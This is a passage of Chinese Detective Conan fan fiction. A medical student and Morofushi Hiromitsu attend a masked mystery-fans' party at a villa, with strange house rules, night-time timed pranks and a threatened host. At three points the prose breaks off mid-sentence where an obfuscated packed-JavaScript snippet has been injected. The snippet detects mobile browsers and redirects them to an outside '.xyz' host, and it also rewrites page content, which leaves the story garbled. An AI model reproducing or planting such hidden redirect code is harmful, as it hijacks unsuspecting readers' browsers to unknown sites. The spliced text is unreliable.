诸伏景光简单分享一下自己的奇遇,“我和同学之前在百货大厦那边碰巧遇到了假面超人的表演,结果恰好有人当场行凶,于是作为相关人被叫来这边做笔录。” 诸伏景光缓了两秒,一时不知道该如何开口,“你这经历还真是够丰富的……” “我也觉得,而且杀人动机还极其荒谬。” 有里犹豫了一下,既然松田阵平和萩原研二他们迟早会和诸伏景光这对幼驯染遇上,如果双方有机会提前认识,好像也不错? “对了,那天和我一起去的朋友也是咱们学校的,是机械工程专业,有机会可以让你们认识一下……感觉会成为很好的朋友的样子。” “诶,”诸伏景光没太放在心上,“那期待这个机会吧。” 有里没再继续这个话题,强硬地让他们现在认识好像也不太美妙,毕竟人相遇的契机和节点还是很重要的,如果只是匆匆一面,不一定会顺着时间线成为要好的朋友。 不管怎么说,她还是挺希望看到自家好友日后在警察学校里面热血的样子? ———————— 吃过饭有里也顺路去学校实验室转了一圈,导师渡边曜日今天也在。 听说最近在为了那个有关细胞的课题忙碌得不可开交,这种立项能一帆风顺地进行下去才算是微乎其微的概率。 不过自己毕竟现在是本科生的阶段,这种前沿领域暂时还轮不到她。 “有里啊,”渡边曜日取下自己的眼镜,“我看你最近研究报告进展得还不错,也不用把自己逼得太紧。” “这次你刚好过来,刚好问你有没有留在我这里研究所的打算,这也是院里的意思。” 医学院难得的兼顾科研和实操的学生,加上这还是性格又好,看起来人也勤奋,渡边曜日自己也很难放手这样一个好苗子。 他可是知道还有几个人也在蠢蠢欲动预订人去打工。 “当然了,”这件事情有里求之不得,东大的研究所多难进她还是很清楚的,有机会一定要抓住。 渡边曜日虽然想要自己的宝贝学生留下,但还是笑呵呵地摆了摆手,“不着急,这件事要想清楚,毕竟我可不是隔壁组那样压迫人的老师。” “这家伙最近也不知道在搞什么事情,不好好做研究。” 看来这两位大牛的关系确实不是很好啊……对于隔壁组的教授山崎川悠,有里也只是听师兄师姐说过,似乎不太好相处呢…… 但是作为食物链底层的学生,她只敢默默听着,千万别发表意见。 “不过山崎在研究上确实做的不错,”渡边曜日吐槽完又认真地说,“有机会可以去听听他的报告,会很有启发的。” 即使性格不同,但这两位大佬在专业领域也一直是认可彼此的态度。 真是两个可爱的小老头。 “我知道了。” 30.聚会邀请 今天也是没有苏格兰踪迹的一天。 有里从门诊部走出来——用这个身份倒是很容易就拿到想要的患者资料。 可是怎么说都很难抓住那个苏格兰啊! “外守小姐!” “啊……”有里在脑海里确认了一下这人的名字,“你是片冈先生。” 原来那起事件之后,片冈正一就被转移到了米花中央医院治疗。 “真的是你啊,”片冈正一半俯下身子喘气,“之前看你手法那么熟练就在猜想你是不是在医院工作,结果真的在这里碰到你了。” “说来我还没有好好和你道谢呢。” 距离那起事件过去了一个月,片冈正一的伤口也拆了线。 “那倒不用。” 不管怎么说这也是位艺人,而且那起事件之后意外地为片冈正一积累了更多粉丝。 走廊自然不是一个很适合交谈的地方,有里自然地把人带到医院后门的草坪——这个点这里不会有太多人。 “今天是来复查的吗?看来伤口愈合的不错。” 到了这里,片冈正一松了口气,也摘下了自己的口罩,“是啊,这里的医生很靠谱呢,我恢复的也很不错。” “如果要离开的的话可以从后门走,这里一般是我们内部人员常用的通道,让来接你的人开到这里吧。” 两人只是一面之缘,在有里看来没有太多叙旧的必要。 和这种当红艺人交流过多……好像会很麻烦。 —————— “什么,你说你是自己开车来的!”饶是脾气再好,有里也被这位胡来的患者弄得有点生气。 “先不说安全带会不会压住你的伤口,万一路上有什么急刹这样的操作,那不是会彻底裂开?” “你到底有没有把自己的身体当回事啊!” 一口气说完,片冈正一十分诚恳地弯腰,“真的很抱歉,我不会这样做了。” “总之赶紧让你的朋友或者经纪人来接你吧,真的是……” “哈哈……”片冈正一稍微退后了一步,明明有点心虚,“可是我今天刚才发现没带手机……” 怎么什么事情都能让她遇上。 “那怎么办,我帮你叫辆车好了,”她不知道就算了,现在这种情况肯定不能放任不管的。 “诶……”片冈正一试探着询问,“或者外守小姐方便的话可以开我的车回去吗,之后我会让人把您送回来的。” “要不然明天来取也很麻烦……” 这听起来是个好主意。 “但是很抱歉,我今年才取得报考驾照的资格,还没来得及去考试呢……” “这么说……”片冈正一显然被惊到了,他还以为有里在医院工作已经是和自己差不多的年纪,“真是抱歉,不过现在的学生真是厉害啊。” “谢谢……”有里伸手拦了出租车,顺便把自己的电话号码写在随身带的笔记本上,“到家了给我说一声。” 片冈正一失笑,“怎么感觉这话应该我来说。” “就当是医生对患者的关心吧,”有里双手合十,“希望不会再在医院见到您了。” —————— 给出联系方式只是有里本着负责的态度确认片冈正一正常回家,但之后还有联系是她万万没想到的。 片冈正一邀请她参加聚会,而且提议表明这是在刚进入寒假期间的时间段举行的活动,所以作为学生的有里应该有空。 关于活动本身,据说是在某个网络聊天室里的推理爱好者组成的活动,当然参加的人还要缴纳一定的准入费用——对此片冈正一表示直接帮她交过了。 虽然在她还没同意之前。 随之而来的还有另外一张门票。 片冈正一在来接有里这个提议被她回绝之后,很体贴地考虑到她一个女生出行或许不太安全,于是另外给了一张门票,表示有里可以携带自己的朋友一起前来…… 不过钱都花了,加上有里确实对这个题材很感兴趣。 最终的结论是诸伏景光和她一起。 虽然降谷零本身也对这场活动很感兴趣,但是之前有里直接在那家很顶的咖啡店给他定了半个月的咖啡——不管怎么说降谷零也不会浪费。 以至于在考试的这段时间他确实处于一种天天兴奋睡不着觉的状态。 现在到了假期,这位金发黑皮的帅哥第一件事情就是把自己关起来调整自己的生物钟。 有 . 罪魁祸首 . 里——有点心虚。 所以她拿了自己做出来的安神药膏给他。 “效果不错,可惜成本太高不能量产……”如果真的到了严重入睡困难的情况大多数人还是会选择直接去买安眠药。 所以这种慢性调节的药膏似乎对标的客户不太妙呢。 “但是没有副作用,”有里拍着胸脯保证,“你让降谷同学放心好了,这次绝对不是让他当小白鼠。” “当然还有你的一份。”这完全不是她偏心,只是一句老话说【做都做了】,于是有里就给她自己和幼驯染二人组一人准备了一份。 她不由分说地给诸伏景光的手腕上抹了药膏,“很好,这样你今晚肯定能睡好。” 诸伏景光好笑地接过,知道她经常在搞一些奇奇怪怪的研究之后,zero就莫名很防备。 他的原话是,“hiro你想她肯定不可能那你做实验,那这样算下来最有可能的小白鼠不就是我了吗!” 这当然是开玩笑,要是有里真的敢用人体做小白鼠实现,现在她就该去吃牢饭了。 不过怎么说呢,诸伏景光经常夹在这两人中间有一种被孩子告黑状的大家长的感觉…… 不过哪边都没办法帮。 “我会交给他的。” 诸伏景光想到早上出门还现在窝在被子里的幼驯染……回去再做点美食犒劳他吧。 前几天从学校回来,可是听说他这学期拿到了满绩的好成绩。 —————— “没想到这次是你比我快啊。” 有里坐在诸伏景光租来的车上感慨,这家伙竟然神不知鬼不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12715975|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地把驾驶证拿到手了。 自己还是慢了一步。 诸伏景光开得很稳,“毕竟你那么忙,而且出门果然还是自己驾车比较方便,特别是这种山路。” 虽然自己好友拿到驾照才没多久就敢带人上山,但坐在副驾的有里倒是没有一点心慌——总感觉诸伏景光是那种只要承诺做一件事情就绝对不会出岔子的性格。 “说起来为了增加趣味性和神秘行,这次进入别墅的所有人都要带着面具,”这也是有里敢带着诸伏景光参与的原因之一,带着面具应该就不存在太惹眼的问题。 ——是的,她默认这位同学在这种场合一定会表现得很亮眼。 “不过我猜也有原因是有片冈正一这样的名人在场,要是都透露了身份,难免放不开嘛。” “诶,感觉很有趣啊……可是之前没听说过,我没有带变装的面具。” 有里伸手从后座把自己行李袋拿过来,“拜托,这种东西我当然准备好了啊!” 真是塞得满满当当。 “你这是去超市进货了吗?”诸伏景光瞥了一眼——难怪这人今天带了这么多行李。 之前新年回家也基本是两手空空的状态,不至于到了这里就满当当。 “这不是不知道你喜欢那种……”有里把自己的行李带打开,“有吸血鬼的……暗夜男爵的……还有假面超人的……” “你要知道女人在购物这方面很难停手的啊!”尤其是她现在财务自由! “我们是受邀请一起参加,”诸伏景光从里面拿出来两个武士的面具,“而且只有这个分了男女款,你早就想这样做了吧。” 喔……有里确实是打算装扮成女武士,虽然没有指名道姓,但果然现在还是想起了那位。 “你知道吧,在1181年的横田原战役中,Tomoe Gozen砍下了7个骑在马背上战士的头颅。” “那么没错,”有里把宽大的外套脱下,里面也很贴合身份地做了简单的装饰。 至于为什么是简单的装饰…… “因为Tomoe Gozen擅长的是弓箭,但是拿着弓弩也太不方便了……” “所以你就只是在后背别了只箭。”诸伏景光把车停好,从她的手上接过道具。 “怪不得你今天一路都坐得笔直……我还以为是你第一次坐我开的车会紧张。” “那你可真是想多了。”有里重新把外套穿好,“虽然别人不一定会留意到,但是这样可以提醒我注意今天的人设不是吗?” 诸伏景光把面具扣好,对着车里的镜子照了照,确认一切无恙下了车。 去除了那一大袋子的面具,有里剩下的行李倒是很少,邀请函上也表示这里的别墅会提供所有洗护用品和餐饮需求。 基本是无偿度假的状态。 当然了,这八成也是片冈正一在想办法还之前的人情……虽然有里不认为那是一件什么大事情。 用这次的机会还清了就好。 两张票在门口核验过后,有里和诸伏景光被准许通行。 31.遵守规则 这座三层欧式风格的别墅,每一处都流露出古典与优雅的融合,内部构造更是将欧洲传统建筑的精髓展现得完美。 宽敞明亮的大厅中央悬挂着一盏巨大的水晶吊灯,灯光透过晶莹剔透的玻璃折射出柔和而温暖的光芒。地面铺设着深色的石材地板,与四周的白色墙壁和精致的金色装饰线条形成了鲜明的对比。 “啊……不知道我什么时候才能买下这样一栋别墅……”这种住宅的主人,身价得上亿吧。 无心打击小伙伴自尊心的诸伏景光转移了话题,随即善意开口: “接下来,我们应该先去房间整理东西……” 好吧——听得出来之前自己的问题无解了。 “啊,这位小姐,可以请你们和我交换一下房间吗?”眼前出现的男人带着朱克的面具。 “因为我和妹妹一起来住,所以只给了我们单人套间,不过两位似乎是双人的……” “哈……”这位朱克是不是太离谱了一点。 诸伏景光在看到一开始的房间分配就觉得有些不妥,“再怎么说我们住单人间也不太方便。” “姐姐,”戴着夏目玲面具的小不点抱住有里,“我晚上可不可以给你一起睡。” 脑子里闪过十万个问号的有里终于理清了现状,“我倒是没什么问题。” 这样两位男士住双人间,她和小朋友住在单人间也是可以接受的行为。 因为朱克先生闹了大乌龙的诸伏景光也表示没有意见。 “那么两位怎么称呼?”朱克发问。 “sato,这样称呼就好。” “hikari。”诸伏景光同样没有报出完整的姓名。 因为他们两人的角色并没有眼前的朱克和夏目玲这样特定化——实际上,这两位都是假面超人系列里面登场的角色。 “那我就叫你小玲好吗?”有里蹲下来抚摸着小姑娘的头发。 夏目玲——男主人公假面超人的青梅竹马。似乎不知道假面超人的真实身份。总是温柔地原谅突然跑掉的男主人公。 “您叫我朱克就好。”另一位成年人也开口,在这里不直接报出自己的名讳很正常。 万一本尊皮下就是朱克本人呢。 朱克——《假面超人》中的敌方。 “那么小玲,等会见。”朱克把自己未成年的小不点妹妹交给陌生人后倒是没有丝毫担心。 交换了房间钥匙的有里带着小朋友来到她们的房间。 房间都在别墅的二楼,有里的单人房位于别墅的静谧区域,二楼的角落——也很能理解,毕竟拐角的房间面积最小,放在这里也最为合理。 某种意义上来说,也确保了居住者享有足够的隐私和宁静。 没有带孩子的经验,但是有里和医院里面的小小患者还是有点接触,这会也相处的不错。 【1.不要让任何人知道你的真实身份。】 【2.用餐时间前十五分钟请勿离开自己的座位。】 【3.午夜12点到凌晨四点是别墅的特殊时间,听到奇怪的声音或看到奇怪的事情请保持镇定。】 【4.请不要进入别人的房间。】 【5.出门请结伴。】 “这是什么奇怪的规则……” 或许是为了践行第一条规则,这里的每一个用餐座位都是隔开的小房间——当然并不是完全封锁,只是在后面挂上了帘子防止客人取下面具的时候互相看见。 看起来倒不是很难遵守,她刚刚是和小玲一起来的,至于诸伏景光刚好和朱克结伴而来。 至于第三条……怎么莫名掺上了点诡异的画风。 【遵守规则的客人明天中午可以离开。】 “真搞笑,这和推理有什么关系,我看只是主人想出的吓人招数罢了,这么无聊不如趁天亮现在回家好了。” 这是坐在有里隔壁位置戴着“罗丝”面具的女人,与之相应的一起到达餐厅的人则是戴着“杰克”的面具。 看来大家都很有模仿经典的打算。 “等等……”杰克也听出了这是自己熟人的声音。 好在他还记得第一条规则,没有大喊出她的名字,“先看看情况再说吧。” 显然场上的大多数人都没有把这几条规则当成认真的事情,但是条件确实也不算苛刻,所以遵守起来也不算很困难的事情。 罗丝女士被同伴拦住终究是坐了下来…… 真是的,怎么一个两个还不如旁边的小朋友长心。 料理准备的相当丰盛,想不到在这里能吃到地道的法餐。 在场的人包括有里和诸伏景光,朱克和夏目玲,罗丝和杰克,此外还有两个从身份上看起来并不相关的—— 一位戴着“狸猫”面具的男士。 还有一位女士,黑发飘飘地披在身后,脸色涂抹的煞白……虽然不算通俗异议上的面具,但也确实有了戴着面具的效果,反正看不清她本来面目了就对了。 鉴于她手里还撑着一把雨伞,所以这位女士明显是做了“雨女”的打扮。 雨天,一女子立在雨中,如果这时候有男子向她微笑,示意她共用一把伞的话,那她就会永远跟着他。 此后,该男子就会一直生活在潮湿的环境中,因为普通人难以抵挡这么重的湿气,所以不久就会死去。 因为在场的人两两一组分的很自然,所以这位“狸猫”先生和“雨女”小姐倒是走在了一起。 怎么看怎么奇怪……有里莫名出了一身冷汗。 “现在看来这场游戏只有一个奇怪的地方。”诸伏景光小声对有里说。 “是的……但是不知道这件事情我们主动去确认会不会导致对方出局,还是等明天结束再说吧。”有里跟上自己好友的思路,“不过时间还早,我们可以先去在这栋别墅转一圈。” 别墅一楼的另一侧是客厅,布置得既典雅又舒适。墙壁上挂着几幅精致的油画,为空间增添了几分艺术气息。沙发和茶几都采用了深色系,与地板和墙壁的颜色形成了和谐的搭配。 另外,客厅还设有一扇落地窗,窗外是郁郁葱葱的花园,倒是极大程度地缓解了这份不安。 “姐姐,”小玲现在很黏她,“要不要一起去休闲区玩游戏?” “姐姐的男朋友也一起吧。” …… 诸伏景光和有里同时踉跄了一下。 “不,不是。” “我们不是那种关系。” 朱克上前一步捂住小玲的嘴,“别乱说。” 又抬起头来充满歉意地跟他们道歉,“抱歉,我妹妹就是……有时候口不择言,不是故意的。” 从震惊中缓过神的有里当然也不好再纠结,“没关系……” 诸伏景光的眼睛闪了闪——这位朱克先生,好像有点奇怪? 几个人一起去了客厅玩纸牌,除去午餐时间那段意味不明的规则,这里真真是给他们别墅度假的好地方。 虽然看起来和推理无关,但是配套的娱乐设备和食物都是上等的精品——没人会抱怨什么。 有里已经在冰淇淋机那边自己打了两次,实现甜品自由! “怎么说呢,你平时看起来蛮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12750302|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成熟稳重的,这个时候倒是像是正常年纪的女生。” 诸伏景光对饮食倒是有极强的自制力,就算是再可口的食物,他也不会让自己摄入过多。 尤其是这种相对有刺激性的食物。 “小心晚上肠胃受不了……” 准备打第三个甜筒的有里.略显哀怨地瞪了他一眼,放弃了自己的行动。 “你说得对,但这绝对不是因为我担心吃坏肚子难受,”她振振有词,丝毫没有身为医学生的自觉“我只是害怕晚上开始什么大逃杀模式跟不上趟。” “你想象力还挺丰富?” “不是都这样写,”有里压低嗓子,这个季节日落地早,现在天色已经半黑了,“晚上这座别墅就会展现出它不为人知的另一面……” “然后明天我们会发现没办法走出这个大门。” “怎么大门打不开了!” 就……还挺突然的。 有里和诸伏景光第一时间往声音的来源跑去。 喊出这句话的还是那位罗丝小姐。 “这是什么鬼地方,我告诉你这是侵犯人权的。” 杰克上前一步安抚性地拍了拍她的肩膀,却被一把甩开。 罗丝在发现没有办法离开后径直上了二楼。 “抱歉各位,她就是这个性格。”杰克浅浅地鞠了一躬后连忙跟上罗丝的脚步。 “等等,你最好不要单独行动。” “真是奇怪的人。”雨女小姐照例拿着她那一把伞。 “是啊,谁摊上这样的对象真的是倒霉。”狸猫先生在一旁附和。 有里微微蹙眉,那位小姐确实是急切了点,但这样就打上如此评价是不是也不太礼貌。 “亲爱的,我也想回家。”有里突然拉住诸伏景光,说出这样一句没条理的话。 “啊……那我们就走吧。”诸伏景光平静点头。 不对啊,这人怎么不按套路出牌,她只是想恶心一下狸猫先生。 “那你去把我的行李都拿过来。”她继续趾高气昂地指示。 诸伏景光没有异议转身打算上楼。 “等等,他自己去拿行李会违背规则。”雨女小姐开口提醒。 “女人就是麻烦。”狸猫先生继续说道。 很好,有里捂住胸口,同时飞快地拉住要离开的人,幸好戴着面具不需要她挤出来两滴眼泪,“亲爱的,他说我麻烦……你是不是也嫌弃我。” “怎么会,”诸伏景光很上道地虚虚把她揽在怀里,“你怎么样都很可爱。” 救命,这很犯规啊。 “这样啊……我忘了他只是一个外人,就是嘴长了些。” 两人一副和好如初的样子离开众人的视线——准确说,就没坏过? 这谁都能听得出来是在阴阳狸猫先生了。 “小玲,我们走,不要跟他学坏了。”朱克弯腰拉起自己的妹妹离开,也不忘记加一把火。 ———— “我说你是不是跟降谷同学学坏了。” 好家伙,诸伏景光刚刚那一句发挥,她到现在还觉得浑身起鸡皮疙瘩。 诸伏景光确认她站稳才放手,“最近很火的偶像剧台词,我借用一下,不过效果很好。” 戴着面具也觉得这人现在一定是一脸无辜。 有里无端有些恼火,“那你也不能……” “不能什么?”诸伏景光歪头,“不是你先开的头让我配合你吗,亲爱的?” 完了,她说不过这人。 有里欲盖弥彰地用手扇了扇风,转身拉着小孩去玩。 32.凌晨怪事 吃过晚饭,在场的人都不约而同地选择回到房间休息。 看起来正在上小学的小玲倒是很独立——拒绝了有里帮忙洗澡的建议。 “没关系的,在家里也是我自己一个人洗,”小玲小朋友表现得很坚定,“我那个哥哥一看就靠不住嘛。” “这样说你哥哥会很伤心的。” 现在的小孩真是人小鬼大,洗手台太高,这位小朋友宁愿自己搬着行李箱垫在脚底下也不愿意让她抱着。 当然有里还是站在小玲身后防止她不小心摔倒。 “对了,姐姐,你和那个hikari哥哥真的不是情侣吗?” 怎么还在纠结这个问题。 “不是哦,”可能是两个人表现得过于熟稔,让小孩子产生了误会? “毕竟我们算是从小认识的关系……非要说的话,就是我看着他长大的。” “可是你们年纪应该差不多吧?” 从小看着你长大这句话——夏目玲只在过年的时候来拜访的大人嘴里听说过。 “没办法,那位小时候太可爱了,总会让人产生保护欲,”有里这话说的脸不红心不跳,“真想让他叫我一声姐姐。” “所以你明明比他小啊……”夏目玲不理解这些成年人的心思,“不过这么多年都只是朋友的话,那就太好了!” “啊……”有里也没太搞懂现在小朋友的心思,但是大概还是知道不能给小孩子错误典范? “总之小玲有哥哥也是一件非常幸福的事情,应该是关系非常好才会带你一起来玩吧。” “什么啊,明明是他求我我才来的。” 不错小朋友相当傲娇。 “我觉得也是,能和这么可爱的小玲一起出来玩也是他的福气。” —————— 有里看着小玲睡着了才放下心来,时间刚过12点,她没有作死探险的打算。 朦朦胧胧中有里刚产生一点困意,就听到楼底下传来什么东西倒塌的声音。 睡意立刻被惊醒,有里迅速起身披上外套,惊动了身旁睡着的小玲。 “什么声音?”推开门出去,发现走廊的灯全亮了,这会听到动静的不只她一个,有里最先和诸伏景光隔着面具对视。 有里把从床上下来的小玲挡在身后,“别出来。” 应该是因为事件发生的太过匆忙,这会从房间里出来的人很多都忘记把面具戴上。 记得规则的除了有里和诸伏景光,还有杰克先生和雨女小姐。 倒是很符合这几个人之前的表现…… 并且除了诸伏景光那间是双人间,其他的房间都是一个人居住。 有里跑到他们的房间门口,和诸伏景光一起跑向声音的来源。 “照顾好你妹妹,她一个人在房间里,不过你最好别进去,门打开两个人说话确认彼此的安全。”有里冲诸伏景光身后的片冈正一说。 这位朱克是片冈正一的事情并不算太稀奇,更何况诸伏景光需要和这位同住一间,一直戴着面具也是不太可能的事情。 于是在进了房间之后就索性摊牌。 异响发生的地点在一楼角落的仓库。 昏暗的仓库内,空气中弥漫着尘土和霉味,一束微弱的灯光从高高的天窗斜射进来,在堆满杂物的地面上投下斑驳的影子。 “灯打不开。”诸伏景光语气严肃,“你……” “咳咳……”这间房间真够呛人,她用手扇了扇,“我们一起进去看看吧。” 说不害怕是假的,但是只留自己小伙伴一个人是不是太不地道了。 说好的推理爱好者们一个都没跟过来,以至于现在只有他俩在这。 有里和诸伏景光打着手电筒小心翼翼地行走在堆积如山的纸箱和废弃的机械之间。 “刚刚就是这一堆易拉罐倒塌了吗?”两人看到罪魁祸首倒是有些无奈。 “是谁的恶作剧吗?”有里蹲下用手电筒照了照地板,“蜡油还在这里……这个延时装置就是为了在这个时候吓我们……” “总之没有出事就是万幸。”诸伏景光也拿着手电筒照了一遍房间,“我们回去吧。” —————— 诸伏景光送她回到房间才转身离开。 有里回来的时候夏目玲正坐在床边等她。 和小朋友解释了这就是一个单纯的恶作剧之后,她才放心睡着。 有里再次被惊醒依然是在半夜,是凌晨两点,这次打开门时大家都戴好了面具,于是一起赶过去——地点在餐厅,倒塌的是餐盘…… 诸伏景光在一地狼籍的玻璃碎片中发现了同样的延时装置。 “谁这么无聊。”狸猫先生吐槽。 是的,饶是脾气再好也觉得这样的恶作剧让人无语。 这次回来有里干脆都没再上床,而是坐在了一旁的沙发上。 火焰在微风中摇曳,映照着周围的一切。蜡烛被稳稳地放置在一块精心雕刻的木质底座上,底座的边缘微微翘起,恰好能够支撑起一个脆弱的积木塔。 积木塔的积木紧密地依偎在一起,形成了一个摇摇欲坠的结构。 在积木塔的底部,一根细线巧妙地连接着蜡烛和塔身。这根线非常纤细,以至于几乎无法察觉,但它却承载着整个装置的关键功能。 随着时间的流逝,蜡烛的火焰逐渐吞噬着蜡身,每一滴融化的蜡液都仿佛在记录着时间的流逝。当火焰终于触及到细线时,它迅速地将线熔断。 这一刹那,原本平衡的积木塔失去了支撑,开始摇晃不定。 紧接着,随着“轰”的一声,积木塔轰然倒塌,发出巨大的声响。声音在寂静的夜晚中回荡,仿佛是一种预警,一种宣告。 而此刻,那支已经燃尽的蜡烛静静地躺在木质底座上,完成了它的使命。整个房间再次陷入了死寂,只有那倒塌的积木和熄灭的蜡烛,无声地诉说着刚刚发生的一切。 “三点整……”隐在角落的男人按下计时器,没去管那一片狼藉。 凌晨三点,一楼再次传来动静……怎么说呢,这次基本上都没人开门查看。 倒是能听见罗丝女士房间传出来的辱骂声。 有里同样走到诸伏景光的房间前,和照例会等待她的诸伏景光一起下楼,“不知道今晚还有完没完,不过规则说了是到凌晨四点,最多再有一次吧。” 因为太困,身边的人打了个哈欠点头应诺。 实际上这会大家的精神状态都不算很好,有里自己也觉得昏昏沉沉的。 大概是过于疲惫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12782512|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天上上下下好几趟的楼梯在有里眼中也变得模糊,她在楼梯的拐角处踉跄了一下,本能地伸出手臂,慌乱中抓住了旁边人的手腕。 被拉住的人微微一惊,但随即反应过来,用力稳住了即将摔倒的同伴。两人的目光隔着面具在昏暗中交汇。 有里点头道谢,甩了甩脑袋让自己清醒。 这次的事故发生点在客厅。 下午有里和小玲拼好的积木城堡倒了一地。 “啊……明天小朋友一定会很难过。”她把积木零件放到一边,确保不会被人一脚踩到以免受伤。 回到门口,有里和片冈正一点了点头算作回应。 片冈正一也是硬撑着困意,毕竟室友都出去了他心再大也不至于现在还能呼呼大睡。 “没事。”有里拦住了对方未说出口的抱歉——大概是对于自己邀约的歉意,到底这件事情的罪魁祸首又不是他,更何况也没人能预料到。 “你去房间陪小玲吧,要是再有情况也不用等我们了。” “不算违规吧,”有里看他沉默,很快补充,“那本身就是你们的房间。” “而且万一真的有危险,我和小玲也没有什么自保能力。” 这句话成功堵住了片冈正一的拒绝,“那你们注意安全。” 终究还是放心不下妹妹,片冈正一再次回到自己的房间。 关上房门,走廊的光线一点都渗透不进来,屋内又恢复成黑漆漆一片。 “好困……快睡吧。” 可能是身边有老熟人的缘故,有里这次躺在床上,呼吸很快变得均匀。 夜晚的房间里,黑暗如浓墨般厚重,吞噬了所有的外面透进来的月光,布局上没有夜灯的设计,除非居住者愿意打开自己的台灯入睡——当然,一般人都不会选择这个方案,所以现在,房间陷入一片死寂的黑暗之中。 睡在旁边床上的人突然起身,他的动作迅猛而突兀。 这位陌生人俯身凝视着有里的脸,那双眼睛在黑暗中闪烁着幽幽的光芒,充满了警惕和恐怖。 他并没有刻意压低自己的的呼吸声,每一次吐气都像是从喉咙深处挤出的低吼,更像是在故意引起人的注意。 如果有里现在睁眼,就会发现面前是一张完全陌生的面孔。 空气中弥漫着一种令人窒息的压迫感,仿佛有无数双无形的手在挤压着有里的心脏。 房间里的温度似乎也在急剧下降,有里感到一股刺骨的寒意从脊梁骨直冲头顶。 开始后悔自己提出的和片冈正一交换的提议。 过了好一阵,他才起身远离了有里,这次他放轻了脚步,只剩下窸窸窣窣的摩擦声。 她穿上了有里的外套。 —————— 有里可以感受到对方的目光在自己的脸上游移,那是一种冰冷的、不带一丝感情的审视。 她毫不怀疑自己如果刚刚睁眼,就会这辈子再也张不开眼。 门被打开了,走廊依然亮着灯,寝室内也因此透出点亮光。 四周静得可怕,有里感受到自己的心跳声都显得格外清晰而急促。 但她依然保持着刚刚的状态,一动不动。 终于那点光线消失,站在门边的人走了出去,室内重归寂静。 33.交换身份 杰克先生的房门被敲响了。 夜晚,女人轻轻敲打着房门,声音在空旷的走廊里只有少许回音,并不明显。 她警惕地注意着四周,会不会有突然打开的房门。 然而,门内始终没有任何回应。 女人开始怀疑,是否这扇门背后已是一片寂静,或者,里面的人早已离去。 正当她想要强行推开门的时候,门却突然“吱呀”一声开了。 一位男子站在门内,脸上带着杰克的面具,他的眼神眯着,似乎很不能适应外面明亮的灯光。 显然,他刚才正沉浸在深深的梦境中,在漆黑的室内被敲门声所惊醒。 男人清了清嗓子,没能发出声来,似乎还没有完全从睡梦中清醒过来。 “sato小姐?” “我的同伴不见了,一个人有点害怕,可以在你这里待一会吗?” —————— 有里在听到第二声房门关闭之后敲响了雨女小姐的房间。 开门的是一个男人。 “您还真是大胆,万一我是坏人呢?” 小田和野十分绅士地给她把路让开,做出一个请的手势。 “您也不赖。” “我就不进去了,这个时候他应该已经制服凶手了。” 有里估摸着时间。 “不过他说让我不管听到什么动静都不要过去……所以我们在这里等他吧。”小田和野打开卧室里的灯,里面居然已经沏好了茶。 这个他,当然是诸伏景光。 “那么我们正式地打个招呼,杰克先生?” “我没想到会是你来找我。” “就像我也没想到这场以推理爱好者聚集地为由的聚会,会被你们卷入这种事件。” 有里的语气并不愉快,甚至称得上咄咄逼人。 “我很抱歉……”小田和野顿了顿,“这是一段不太美妙的经历。” 网络聊天室刚刚兴起,存在着一个名为“逻辑迷宫”的聊天室。这里汇聚了一群对推理充满热情的爱好者,他们通过解析谜题、交流想法,不断锻炼着自己的思维能力。 小田和野,作为聊天室的发起人,在每周的推理谜题中总是最快得出结论的人。他的每一次逻辑推理都让人叹为观止。 “等等,这个题目是?” 原谅有里短暂的思维跑偏——要是自问自答也太作弊了。 “当然是每一轮收集所有玩家的一个谜面,每周随机选取一个,在最后由出题人公布答案。” —— 某日深夜,小田和野像往常一样在聊天室里与成员们交流着最近的推理心得——包括但不限于对那位推理名家工藤优作新作的解析。 突然,一条匿名消息从小田和野的手机里弹出: 【你准备好接受挑战了吗?我将在一个月后的中午十二点前找到你,如果成功,你的生命将到此为止。】 只是单单一封恐吓信,不至于让他做到这个程度吧。 “是的,我一开始也觉得是认识的人的恶作剧……” “但很快,我发现他已经找到我了……我的口袋里有时会出现一张不属于我的彩票,刚用过的圆珠笔会突然不见。” 这位先生比有里想象的要坚强——大多数人遇到这种情况怕是精神已经处于极度焦虑了。 “我当然会害怕……”小田和野苦笑一声。 他从未与人结怨,为何会突然遭到这样的威胁?然而,现实摆在面前,他必须迅速采取行动。 首先,他分析了这条匿名消息,试图从中找出蛛丝马迹。然而,除了一个模糊的挑战和一个确切的时间点外,他们一无所获。 “而且在这一个月你遭遇到的事情……显然警方不会受理,它们更像是你……”有里斟酌了一下,换了个词,“压力太大产生了一些遗忘。” “您不用这么委婉,这种事情谁听起来都像是一个疯子的随口胡说,哪怕我之前表现得再正常不过。”小田和野表现得十分无奈。 